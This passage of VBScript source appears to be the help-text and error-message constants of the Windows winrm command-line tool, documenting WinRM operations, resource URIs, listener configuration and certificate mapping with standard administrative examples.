L_QuickConfigUpdateFailed_ErrorMessage = \"One or more update steps could not be completed.\"\r\nprivate const L_QuickConfig_InvalidBool_0_ErrorMessage = \"Could not determine if remoting is enabled.\"\r\nprivate const L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage = \"Cannot complete the request due to a conflicting Group Policy setting.\"\r\nprivate const L_QuickConfig_UpdatesNeeded_0_Message = \"WinRM is not set up to allow remote access to this machine for management.\"\r\nprivate const L_QuickConfig_UpdatesNeeded_1_Message = \"The following changes must be made:\"\r\nprivate const L_QuickConfig_Prompt_0_Message = \"Make these changes [y/n]? \"\r\nprivate const L_QuickConfigNoServiceChangesNeeded_Message = \"WinRM is already set up to receive requests on this computer.\"\r\nprivate const L_QuickConfigNoServiceChangesNeeded_Message2 = \"WinRM service is already running on this machine.\"\r\nprivate const L_QuickConfigUpdatedService_Message = \"WinRM has been updated to receive requests.\"\r\nprivate const L_QuickConfig_ServiceUpdatesNeeded_0_Message = \"WinRM is not set up to receive requests on this machine.\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - GENERAL\r\nprivate const L_Help_Title_0_Message = \"Windows Remote Management Command Line Tool\"\r\n\r\nprivate const L_Help_Blank_0_Message = \"\"\r\n\r\nprivate const L_Help_SeeAlso_Title_Message = \"See also:\"\r\nprivate const X_Help_SeeAlso_Aliases_Message = \" winrm help aliases\"\r\nprivate const X_Help_SeeAlso_Config_Message = \" winrm help config\"\r\nprivate const X_Help_SeeAlso_CertMapping_Message = \" winrm help certmapping\"\r\nprivate const X_Help_SeeAlso_CustomRemoteShell_Message = \" winrm help customremoteshell\"\r\nprivate const X_Help_SeeAlso_Input_Message = \" winrm help input\"\r\nprivate const X_Help_SeeAlso_Filters_Message = \" winrm help filters\"\r\nprivate const X_Help_SeeAlso_Switches_Message = \" winrm help switches\"\r\nprivate const X_Help_SeeAlso_Uris_Message = \" winrm help uris\"\r\nprivate const X_Help_SeeAlso_Auth_Message = \" winrm help auth\"\r\nprivate const X_Help_SeeAlso_Set_Message = \" winrm set -?\"\r\nprivate const X_Help_SeeAlso_Create_Message = \" winrm create -?\"\r\nprivate const X_Help_SeeAlso_Enumerate_Message = \" winrm enumerate -?\"\r\nprivate const X_Help_SeeAlso_Invoke_Message = \" winrm invoke -?\"\r\nprivate const X_Help_SeeAlso_Remoting_Message = \" winrm help remoting\"\r\nprivate const X_Help_SeeAlso_configSDDL_Message = \" winrm configsddl -?\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - HELP\r\nprivate const L_HelpHelp_000_0_Message = \"Windows Remote Management (WinRM) is the Microsoft implementation of \"\r\nprivate const L_HelpHelp_001_0_Message = \"the WS-Management protocol which provides a secure way to communicate \"\r\nprivate const L_HelpHelp_001_1_Message = \"with local and remote computers using web services. \"\r\nprivate const L_HelpHelp_002_0_Message = \"\"\r\nprivate const L_HelpHelp_003_0_Message = \"Usage:\"\r\nprivate const L_HelpHelp_004_0_Message = \" winrm OPERATION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpHelp_005_0_Message = \" [@{KEY=VALUE[;KEY=VALUE]...}]\"\r\nprivate const L_HelpHelp_007_0_Message = \"\"\r\nprivate const L_HelpHelp_008_0_Message = \"For help on a specific operation:\"\r\nprivate const L_HelpHelp_009_0_Message = \" winrm g[et] -? Retrieving management information.\"\r\nprivate const L_HelpHelp_010_0_Message = \" winrm s[et] -? Modifying management information.\"\r\nprivate const L_HelpHelp_011_0_Message = \" winrm c[reate] -? Creating new instances of management resources.\"\r\nprivate const L_HelpHelp_012_0_Message = \" winrm d[elete] -? Remove an instance of a management resource.\"\r\nprivate const L_HelpHelp_013_0_Message = \" winrm e[numerate] -? List all instances of a management resource.\"\r\nprivate const L_HelpHelp_014_0_Message = \" winrm i[nvoke] -? Executes a method on a management resource.\"\r\nprivate const L_HelpHelp_015_0_Message = \" winrm id[entify] -? Determines if a WS-Management implementation is\"\r\nprivate const L_HelpHelp_015_1_Message = \" running on the remote machine.\"\r\nprivate const L_HelpHelp_016_0_Message = \" winrm quickconfig -? Configures this machine to accept WS-Management\"\r\nprivate const L_HelpHelp_016_1_Message = \" requests from other machines.\"\r\nprivate const L_HelpHelp_016_3_Message = \" winrm configSDDL -? Modify an existing security descriptor for a URI.\"\r\nprivate const L_HelpHelp_016_4_Message = \" winrm helpmsg -? Displays error message for the error code.\"\r\nprivate const L_HelpHelp_017_0_Message = \"\"\r\nprivate const L_HelpHelp_018_0_Message = \"For help on related topics:\"\r\nprivate const L_HelpHelp_019_0_Message = \" winrm help uris How to construct resource URIs.\"\r\nprivate const L_HelpHelp_020_0_Message = \" winrm help aliases Abbreviations for URIs.\"\r\nprivate const L_HelpHelp_021_0_Message = \" winrm help config Configuring WinRM client and service settings.\"\r\nprivate const L_HelpHelp_021_2_Message = \" winrm help certmapping Configuring client certificate access.\"\r\nprivate const L_HelpHelp_022_0_Message = \" winrm help remoting How to access remote machines.\"\r\nprivate const L_HelpHelp_023_0_Message = \" winrm help auth Providing credentials for remote access.\"\r\nprivate const L_HelpHelp_024_0_Message = \" winrm help input Providing input to create, set, and invoke.\"\r\nprivate const L_HelpHelp_025_0_Message = \" winrm help switches Other switches such as formatting, options, etc.\"\r\nprivate const L_HelpHelp_026_0_Message = \" winrm help proxy Providing proxy information.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - GET\r\nprivate const L_HelpGet_000_0_Message = \"winrm get RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpGet_001_0_Message = \"\"\r\nprivate const L_HelpGet_002_0_Message = \"Retrieves instances of RESOURCE_URI using specified \"\r\nprivate const L_HelpGet_003_0_Message = \"options and key-value pairs.\"\r\nprivate const L_HelpGet_004_0_Message = \"\"\r\nprivate const L_HelpGet_005_0_Message = \"Example: Retrieve current configuration in XML format:\"\r\nprivate const X_HelpGet_006_0_Message = \" winrm get winrm/config -format:pretty\"\r\nprivate const L_HelpGet_007_0_Message = \"\"\r\nprivate const L_HelpGet_008_0_Message = \"Example: Retrieve spooler instance of Win32_Service class:\"\r\nprivate const X_HelpGet_009_0_Message = \" winrm get wmicimv2/Win32_Service?Name=spooler\"\r\nprivate const L_HelpGet_010_0_Message = \"\"\r\nprivate const L_HelpGet_014_0_Message = \"Example: Retrieve a certmapping entry on this machine:\"\r\nprivate const X_HelpGet_015_0_Message = \" winrm get winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*\"\r\nprivate const L_HelpGet_016_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - SET\r\nprivate const L_HelpSet_001_0_Message = \"winrm set RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpSet_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpSet_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpSet_004_0_Message = \"\"\r\nprivate const L_HelpSet_005_0_Message = \"Modifies settings in RESOURCE_URI using specified switches\"\r\nprivate const L_HelpSet_006_0_Message = \"and input of changed values via key-value pairs or updated \"\r\nprivate const L_HelpSet_007_0_Message = \"object via an input file.\"\r\nprivate const L_HelpSet_008_0_Message = \"\"\r\nprivate const L_HelpSet_009_0_Message = \"Example: Modify a configuration property of WinRM:\"\r\nprivate const X_HelpSet_010_0_Message = \" winrm set winrm/config @{MaxEnvelopeSizekb=\"\"100\"\"}\"\r\nprivate const L_HelpSet_011_0_Message = \"\"\r\nprivate const L_HelpSet_012_0_Message = \"Example: Disable a listener on this machine:\"\r\nprivate const X_HelpSet_013_0_Message = \" winrm set winrm/config/Listener?Address=*+Transport=HTTPS @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpSet_014_0_Message = \"\"\r\nprivate const L_HelpSet_018_0_Message = \"Example: Disable a certmapping entry on this machine:\"\r\nprivate const X_HelpSet_019_0_Message = \" Winrm set winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpSet_020_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CREATE\r\nprivate const L_HelpCreate_001_0_Message = \"winrm create RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpCreate_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpCreate_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpCreate_004_0_Message = \"\"\r\nprivate const L_HelpCreate_005_0_Message = \"Spawns an instance of RESOURCE_URI using specified \"\r\nprivate const L_HelpCreate_006_0_Message = \"key-value pairs or input file.\"\r\nprivate const L_HelpCreate_007_0_Message = \"\"\r\nprivate const L_HelpCreate_008_0_Message = \"Example: Create instance of HTTP Listener on IPv6 address:\"\r\nprivate const X_HelpCreate_009_0_Message = \" winrm create winrm/config/Listener?Address=IP:3ffe:8311:ffff:f2c1::5e61+Transport=HTTP\"\r\nprivate const L_HelpCreate_010_0_Message = \"\"\r\nprivate const L_HelpCreate_011_0_Message = \"Example: Create instance of HTTPS Listener on all IPs:\"\r\nprivate const X_HelpCreate_012_0_Message = \" winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname=\"\"HOST\"\";CertificateThumbprint=\"\"XXXXXXXXXX\"\"}\"\r\nprivate const L_HelpCreate_013_0_Message = \"Note: XXXXXXXXXX represents a 40-digit hex string; see help config.\"\r\nprivate const L_HelpCreate_014_0_Message = \"\"\r\nprivate const L_HelpCreate_015_0_Message = \"Example: Create a windows shell command instance from xml:\"\r\nprivate const X_HelpCreate_016_0_Message = \" winrm create shell/cmd -file:shell.xml -remote:srv.corp.com\"\r\nprivate const L_HelpCreate_017_0_Message = \"\"\r\nprivate const L_HelpCreate_022_0_Message = \"Example: Create a CertMapping entry:\"\r\nprivate const X_HelpCreate_023_0_Message = \" winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=\"\"USERNAME\"\";Password=\"\"PASSWORD\"\"} -remote:localhost\"\r\nprivate const L_HelpCreate_024_0_Message = \"\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - DELETE\r\nprivate const L_HelpDelete_001_0_Message = \"winrm delete RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpDelete_002_0_Message = \"\"\r\nprivate const L_HelpDelete_003_0_Message = \"Removes an instance of RESOURCE_URI.\"\r\nprivate const L_HelpDelete_004_0_Message = \"\"\r\nprivate const L_HelpDelete_005_0_Message = \"Example: delete the HTTP listener on this machine for given IP address:\"\r\nprivate const X_HelpDelete_006_0_Message = \" winrm delete winrm/config/Listener?Address=IP:192.168.2.1+Transport=HTTP\"\r\nprivate const L_HelpDelete_007_0_Message = \"\"\r\nprivate const L_HelpDelete_008_0_Message = \"Example: delete a certmapping entry:\"\r\nprivate const X_HelpDelete_009_0_Message = \" winrm delete winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*\"\r\nprivate const L_HelpDelete_010_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - ENUMERATE\r\nprivate const L_HelpEnum_001_0_Message = \"winrm enumerate RESOURCE_URI [-ReturnType:Value] [-Shallow]\" \r\nprivate const L_HelpEnum_001_1_Message = \" [-BasePropertiesOnly] [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpEnum_002_0_Message = \"\"\r\nprivate const L_HelpEnum_003_0_Message = \"Lists instances of RESOURCE_URI.\"\r\nprivate const L_HelpEnum_004_0_Message = \"Can limit the instances returned by using a filter and dialect if the \"\r\nprivate const L_HelpEnum_005_0_Message = \"resource supports these.\"\r\nprivate const L_HelpEnum_006_0_Message = \"\"\r\nprivate const L_HelpEnum_006_1_Message = \"ReturnType\"\r\nprivate const L_HelpEnum_006_2_Message = \"----------\"\r\nprivate const L_HelpEnum_006_3_Message = \"returnType is an optional switch that determines the type of data returned.\"\r\nprivate const L_HelpEnum_006_4_Message = \"Possible options are 'Object', 'EPR' and 'ObjectAndEPR'. Default is Object\"\r\nprivate const L_HelpEnum_006_5_Message = \"If Object is specified or if switch is omitted, then only the objects are\"\r\nprivate const L_HelpEnum_006_6_Message = \"returned.\"\r\nprivate const L_HelpEnum_006_7_Message = \"If EPR is specified, then only the EPRs (End point reference) of the\"\r\nprivate const L_HelpEnum_006_8_Message = \"objects are returned. EPRs contain information about the resource URI and\"\r\nprivate const L_HelpEnum_006_9_Message = \"selectors for the instance.\"\r\nprivate const L_HelpEnum_006_10_Message = \"If ObjectAndEPR is specified, then both the object and the associated EPRs\"\r\nprivate const L_HelpEnum_006_11_Message = \"are returned.\"\r\nprivate const L_HelpEnum_006_12_Message = \"\"\r\nprivate const L_HelpEnum_006_13_Message = \"Shallow\"\r\nprivate const L_HelpEnum_006_14_Message = \"-------\"\r\nprivate const L_HelpEnum_006_15_Message = \"Enumerate only instances of the base class specified in the resource URI.\"\r\nprivate const L_HelpEnum_006_16_Message = \"If this flag is not specified, instances of the base class specified in \"\r\nprivate const L_HelpEnum_006_17_Message = \"the resource URI and all its derived classes are returned.\"\r\nprivate const L_HelpEnum_006_18_Message = \"\"\r\nprivate const L_HelpEnum_006_19_Message = \"BasePropertiesOnly\"\r\nprivate const L_HelpEnum_006_20_Message = \"------------------\"\r\nprivate const L_HelpEnum_006_21_Message = \"Includes only those properties that are part of the base class specified\"\r\nprivate const L_HelpEnum_006_22_Message = \"in the resource URI. When -Shallow is specified, this flag has no effect. \"\r\nprivate const L_HelpEnum_006_23_Message = \"\"\r\nprivate const L_HelpEnum_007_0_Message = \"Example: List all WinRM listeners on this machine:\"\r\nprivate const X_HelpEnum_008_0_Message = \" winrm enumerate winrm/config/Listener\"\r\nprivate const L_HelpEnum_009_0_Message = \"\"\r\nprivate const L_HelpEnum_010_0_Message = \"Example: List all instances of Win32_Service class:\"\r\nprivate const X_HelpEnum_011_0_Message = \" winrm enumerate wmicimv2/Win32_Service\"\r\nprivate const L_HelpEnum_012_0_Message = \"\"\r\n'private const L_HelpEnum_013_0_Message = \"Example: List all auto start services that are stopped:\"\r\n'private const X_HelpEnum_014_0_Message = \" winrm enum wmicimv2/* -filter:\"\"select * from win32_service where StartMode=\\\"\"Auto\\\"\" and State = \\\"\"Stopped\\\"\" \"\"\"\r\n'private const L_HelpEnum_015_0_Message = \"\"\r\nprivate const L_HelpEnum_016_0_Message = \"Example: List all shell instances on a machine:\"\r\nprivate const X_HelpEnum_017_0_Message = \" winrm enum shell/cmd -remote:srv.corp.com\"\r\nprivate const L_HelpEnum_018_0_Message = \"\"\r\nprivate const L_HelpEnum_019_0_Message = \"Example: List resources accessible to the current user:\"\r\nprivate const X_HelpEnum_020_0_Message = \" winrm enum winrm/config/resource\"\r\nprivate const L_HelpEnum_021_0_Message = \"\"\r\nprivate const L_HelpEnum_022_0_Message = \"Example: List all certmapping settings:\"\r\nprivate const X_HelpEnum_023_0_Message = \" winrm enum winrm/config/service/certmapping\"\r\nprivate const L_HelpEnum_024_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - INVOKE\r\nprivate const L_HelpInvoke_001_0_Message = \"winrm invoke ACTION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpInvoke_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpInvoke_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpInvoke_004_0_Message = \"\"\r\nprivate const L_HelpInvoke_005_0_Message = \"Executes method specified by ACTION on target object specified by RESOURCE_URI\"\r\nprivate const L_HelpInvoke_006_0_Message = \"with parameters specified by key-value pairs.\"\r\nprivate const L_HelpInvoke_007_0_Message = \"\"\r\nprivate const L_HelpInvoke_008_0_Message = \"Example: Call StartService method on Spooler service:\"\r\nprivate const X_HelpInvoke_009_0_Message = \" winrm invoke StartService wmicimv2/Win32_Service?Name=spooler\"\r\nprivate const L_HelpInvoke_010_0_Message = \"\"\r\nprivate const L_HelpInvoke_011_0_Message = \"Example: Call StopService method on Spooler service using XML file:\"\r\nprivate const X_HelpInvoke_012_0_Message = \" winrm invoke StopService wmicimv2/Win32_Service?Name=spooler -file:input.xml\"\r\nprivate const L_HelpInvoke_013_0_Message = \"Where input.xml:\"\r\nprivate const X_HelpInvoke_014_0_Message = \"\"\r\nprivate const L_HelpInvoke_015_0_Message = \"\"\r\nprivate const L_HelpInvoke_016_0_Message = \"Example: Call Create method of Win32_Process class with specified parameters:\"\r\nprivate const X_HelpInvoke_017_0_Message = \" winrm invoke Create wmicimv2/Win32_Process @{CommandLine=\"\"notepad.exe\"\";CurrentDirectory=\"\"C:\\\"\"}\"\r\nprivate const L_HelpInvoke_018_0_Message = \"\"\r\nprivate const L_HelpInvoke_019_0_Message = \"Example: Restore the default winrm configuration:\"\r\nprivate const L_HelpInvoke_019_1_Message = \"Note that this will not restore the default winrm plugin configuration:\"\r\nprivate const X_HelpInvoke_020_0_Message = \" winrm invoke restore winrm/config @{}\"\r\nprivate const L_HelpInvoke_021_0_Message = \"\"\r\nprivate const L_HelpInvoke_022_0_Message = \"Example: Restore the default winrm plugin configuration:\"\r\nprivate const L_HelpInvoke_022_1_Message = \"Note that all external plugins will be unregistered during this operation:\"\r\nprivate const X_HelpInvoke_023_0_Message = \" winrm invoke restore winrm/config/plugin @{}\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - IDENTIFY\r\nprivate const X_HelpIdentify_001_0_Message = \"winrm identify [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpIdentify_003_0_Message = \"\"\r\nprivate const L_HelpIdentify_004_0_Message = \"Issues an operation against a remote machine to see if the WS-Management \"\r\nprivate const L_HelpIdentify_005_0_Message = \"service is running. This operation must be run with the '-remote' switch.\"\r\nprivate const L_HelpIdentify_006_0_Message = \"To run this operation unauthenticated against the remote machine use the\"\r\nprivate const L_HelpIdentify_007_0_Message = \"-auth:none\"\r\nprivate const L_HelpIdentify_008_0_Message = \"\"\r\nprivate const L_HelpIdentify_009_0_Message = \"Example: identify if WS-Management is running on www.example.com:\"\r\nprivate const X_HelpIdentify_010_0_Message = \" winrm identify -remote:www.example.com\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - HELPMSG\r\nprivate const X_HelpHelpMessaage_001_0_Message = \"winrm helpmsg errorcode\"\r\nprivate const X_HelpHelpMessaage_002_0_Message = \"\"\r\nprivate const X_HelpHelpMessaage_003_0_Message = \"Displays error message associate with the error code.\"\r\nprivate const X_HelpHelpMessaage_004_0_Message = \"Example:\"\r\nprivate const X_HelpHelpMessaage_006_0_Message = \" winrm helpmsg 0x5\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - ALIAS\r\nprivate const L_HelpAlias_001_0_Message = \"Aliasing allows shortcuts to be used in place of full Resource URIs.\"\r\nprivate const L_HelpAlias_002_0_Message = \"Available aliases and the Resource URIs they substitute for are:\"\r\nprivate const L_HelpAlias_003_0_Message = \"\"\r\nprivate const X_HelpAlias_004_0_Message = \"wmi = http://schemas.microsoft.com/wbem/wsman/1/wmi\"\r\nprivate const X_HelpAlias_005_0_Message = \"wmicimv2 = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2\"\r\nprivate const X_HelpAlias_006_0_Message = \"cimv2 = http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2\"\r\nprivate const X_HelpAlias_007_0_Message = \"winrm = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_008_0_Message = \"wsman = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_009_0_Message = \"shell = http://schemas.microsoft.com/wbem/wsman/1/windows/shell\"\r\nprivate const L_HelpAlias_010_0_Message = \"\"\r\nprivate const L_HelpAlias_011_0_Message = \"Example: using full Resource URI:\"\r\nprivate const x_HelpAlias_012_0_Message = \" winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpAlias_013_0_Message = \"\"\r\nprivate const L_HelpAlias_014_0_Message = \"Example: using alias:\"\r\nprivate const X_HelpAlias_015_0_Message = \" winrm get wmicimv2/Win32_Service?Name=WinRM\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - URIS\r\nprivate const L_HelpUris_001_0_Message = \"Universal Resource Identifiers (URI) specify management resources to be\"\r\nprivate const L_HelpUris_002_0_Message = \"used for operations.\"\r\nprivate const L_HelpUris_003_0_Message = \"\"\r\nprivate const L_HelpUris_004_0_Message = \"Selectors and values are passed after the URI in the form:\"\r\nprivate const X_HelpUris_005_0_Message = \" RESOURCE_URI?NAME=VALUE[+NAME=VALUE]...\"\r\nprivate const L_HelpUris_006_0_Message = \"\"\r\nprivate const L_HelpUris_007_0_Message = \"URIs for all information in WMI are of the following form:\"\r\nprivate const X_HelpUris_008_0_Message = \" WMI path = \\\\root\\NAMESPACE[\\NAMESPACE]\\CLASS\"\r\nprivate const X_HelpUris_009_0_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const X_HelpUris_010_0_Message = \" ALIAS = wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const L_HelpUris_011_0_Message = \"\"\r\nprivate const L_HelpUris_012_0_Message = \"Example: Get information about WinRM service from WMI using single selector\"\r\nprivate const X_HelpUris_013_0_Message = \" WMI path = \\\\root\\cimv2\\Win32_Service\"\r\nprivate const X_HelpUris_013_1_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const X_HelpUris_014_0_Message = \" ALIAS = wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpUris_015_0_Message = \"\"\r\nprivate const L_HelpUris_015_1_Message = \"When enumerating WMI instances using a WQL filter,\"\r\nprivate const L_HelpUris_015_2_Message = \"the CLASS must be \"\"*\"\" (star) and no selectors should be specified.\"\r\nprivate const L_HelpUris_015_3_Message = \"Example:\"\r\nprivate const X_HelpUris_015_4_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*\"\r\nprivate const L_HelpUris_015_5_Message = \"\"\r\nprivate const L_HelpUris_015_6_Message = \"When accesing WMI singleton instances, no selectors should be specified.\"\r\nprivate const L_HelpUris_015_7_Message = \"Example:\"\r\nprivate const X_HelpUris_015_8_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service\"\r\nprivate const L_HelpUris_015_9_Message = \"\"\r\nprivate const L_HelpUris_016_0_Message = \"Note: Some parts of RESOURCE_URI may be case-sensitive. When using create or\"\r\nprivate const L_HelpUris_017_0_Message = \"invoke, the last part of the resource URI must match case-wise the top-level\"\r\nprivate const L_HelpUris_018_0_Message = \"element of the expected XML.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIG\r\nprivate const L_HelpConfig_001_0_Message = \"Configuration for WinRM is managed using the winrm command line or through GPO.\"\r\nprivate const L_HelpConfig_002_0_Message = \"Configuration includes global configuration for both the client and service.\"\r\nprivate const L_HelpConfig_003_0_Message = \"\"\r\nprivate const L_HelpConfig_004_0_Message = \"The WinRM service requires at least one listener to indicate the IP address(es)\"\r\nprivate const L_HelpConfig_005_0_Message = \"on which to accept WS-Management requests. For example, if the machine has \"\r\nprivate const L_HelpConfig_006_0_Message = \"multiple network cards, WinRM can be configured to only accept requests from\"\r\nprivate const L_HelpConfig_007_0_Message = \"one of the network cards.\"\r\nprivate const L_HelpConfig_008_0_Message = \"\"\r\nprivate const L_HelpConfig_009_0_Message = \"Global configuration\"\r\nprivate const X_HelpConfig_010_0_Message = \" winrm get winrm/config\"\r\nprivate const X_HelpConfig_011_0_Message = \" winrm get winrm/config/client\"\r\nprivate const X_HelpConfig_012_0_Message = \" winrm get winrm/config/service\"\r\nprivate const X_HelpConfig_012_1_Message = \" winrm enumerate winrm/config/resource\"\r\nprivate const X_HelpConfig_012_2_Message = \" winrm enumerate winrm/config/listener\"\r\nprivate const X_HelpConfig_012_3_Message = \" winrm enumerate winrm/config/plugin\"\r\nprivate const X_HelpConfig_012_4_Message = \" winrm enumerate winrm/config/service/certmapping\"\r\nprivate const L_HelpConfig_013_0_Message = \"\"\r\nprivate const L_HelpConfig_014_0_Message = \"Network listening requires one or more listeners. \"\r\nprivate const L_HelpConfig_015_0_Message = \"Listeners are identified by two selectors: Address and Transport.\"\r\n\r\nprivate const L_HelpConfigAddress_001_0_Message = \"Address must be one of:\"\r\nprivate const L_HelpConfigAddress_002_0_Message = \" * - Listen on all IPs on the machine \"\r\nprivate const L_HelpConfigAddress_003_0_Message = \" IP:1.2.3.4 - Listen only on the specified IP address\"\r\nprivate const L_HelpConfigAddress_004_0_Message = \" MAC:... - Listen only on IP address for the specified MAC\"\r\nprivate const L_HelpConfigAddress_005_0_Message = \"\"\r\nprivate const L_HelpConfigAddress_006_0_Message = \"Note: All listening is subject to the IPv4Filter and IPv6Filter under \"\r\nprivate const L_HelpConfigAddress_007_0_Message = \"config/service.\"\r\nprivate const L_HelpConfigAddress_008_0_Message = \"Note: IP may be an IPv4 or IPv6 address.\"\r\n\r\nprivate const L_HelpConfigTransport_001_0_Message = \"Transport must be one of:\"\r\nprivate const L_HelpConfigTransport_002_0_Message = \" HTTP - Listen for requests on HTTP (default port is 5985)\"\r\nprivate const L_HelpConfigTransport_003_0_Message = \" HTTPS - Listen for requests on HTTPS (default port is 5986)\"\r\nprivate const L_HelpConfigTransport_004_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_005_0_Message = \"Note: HTTP traffic by default only allows messages encrypted with \"\r\nprivate const L_HelpConfigTransport_006_0_Message = \"the Negotiate or Kerberos SSP.\"\r\nprivate const L_HelpConfigTransport_007_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_008_0_Message = \"\"\r\nprivate const L_HelpConfigTransport_009_0_Message = \"When configuring HTTPS, the following properties are used:\"\r\nprivate const L_HelpConfigTransport_010_0_Message = \" Hostname - Name of this machine; must match CN in certificate.\"\r\nprivate const L_HelpConfigTransport_011_0_Message = \" CertificateThumbprint - hexadecimal thumbprint of certificate appropriate for\"\r\nprivate const L_HelpConfigTransport_012_0_Message = \" Server Authentication.\"\r\nprivate const L_HelpConfigTransport_013_0_Message = \"Note: If only Hostname is supplied, WinRM will try to find an appropriate\"\r\nprivate const L_HelpConfigTransport_014_0_Message = \"certificate.\"\r\n \r\nprivate const L_HelpConfigExamples_001_0_Message = \"Example: To listen for requests on HTTP on all IPs on the machine:\"\r\nprivate const X_HelpConfigExamples_002_0_Message = \" winrm create winrm/config/listener?Address=*+Transport=HTTP\"\r\nprivate const L_HelpConfigExamples_003_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_004_0_Message = \"Example: To disable a given listener\"\r\nprivate const X_HelpConfigExamples_005_0_Message = \" winrm set winrm/config/listener?Address=IP:1.2.3.4+Transport=HTTP @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpConfigExamples_006_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_007_0_Message = \"Example: To enable basic authentication on the client but not the service:\"\r\nprivate const X_HelpConfigExamples_008_0_Message = \" winrm set winrm/config/client/auth @{Basic=\"\"true\"\"}\"\r\nprivate const L_HelpConfigExamples_009_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_010_0_Message = \"Example: To enable Negotiate for all workgroup machines.\"\r\nprivate const X_HelpConfigExamples_011_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"\"\"}\"\r\nprivate const L_HelpConfigExamples_012_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_013_0_Message = \"Example: To add an IPv4 and IPv6 host address to TrustedHosts.\"\r\nprivate const X_HelpConfigExamples_014_0_Message = \" winrm set winrm/config/client @{TrustedHosts=\"\"1.2.3.4,[1:2:3::8]\"\"}\"\r\nprivate const L_HelpConfigExamples_015_0_Message = \"\"\r\nprivate const L_HelpConfigExamples_016_0_Message = \" Note: Computers in the TrustedHosts list might not be authenticated\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CertMapping\r\nprivate const L_HelpCertMapping_001_0_Message = \"Certificate mapping remote access to WinRM using client certificates is \"\r\nprivate const L_HelpCertMapping_002_0_Message = \"stored in the certificate mapping table identified by the \"\r\nprivate const L_HelpCertMapping_003_0_Message = \"following resource URI:\"\r\nprivate const L_HelpCertMapping_003_1_Message = \"\"\r\nprivate const L_HelpCertMapping_004_0_Message = \" winrm/config/service/CertMapping\"\r\nprivate const L_HelpCertMapping_005_0_Message = \"\"\r\nprivate const L_HelpCertMapping_006_0_Message = \"Each entry in this table contains five properties:\"\r\nprivate const L_HelpCertMapping_007_0_Message = \" Issuer - Thumbprint of the issuer certificate.\"\r\nprivate const L_HelpCertMapping_008_0_Message = \" Subject - Subject field of client certificate.\"\r\nprivate const L_HelpCertMapping_009_0_Message = \" URI - The URI or URI prefix for which this mapping applies.\"\r\nprivate const L_HelpCertMapping_009_1_Message = \" Username - Local username for processing the request.\"\r\nprivate const L_HelpCertMapping_009_2_Message = \" Password - Local password for processing the request.\"\r\nprivate const L_HelpCertMapping_009_3_Message = \" Enabled - Use in processing if true.\"\r\nprivate const 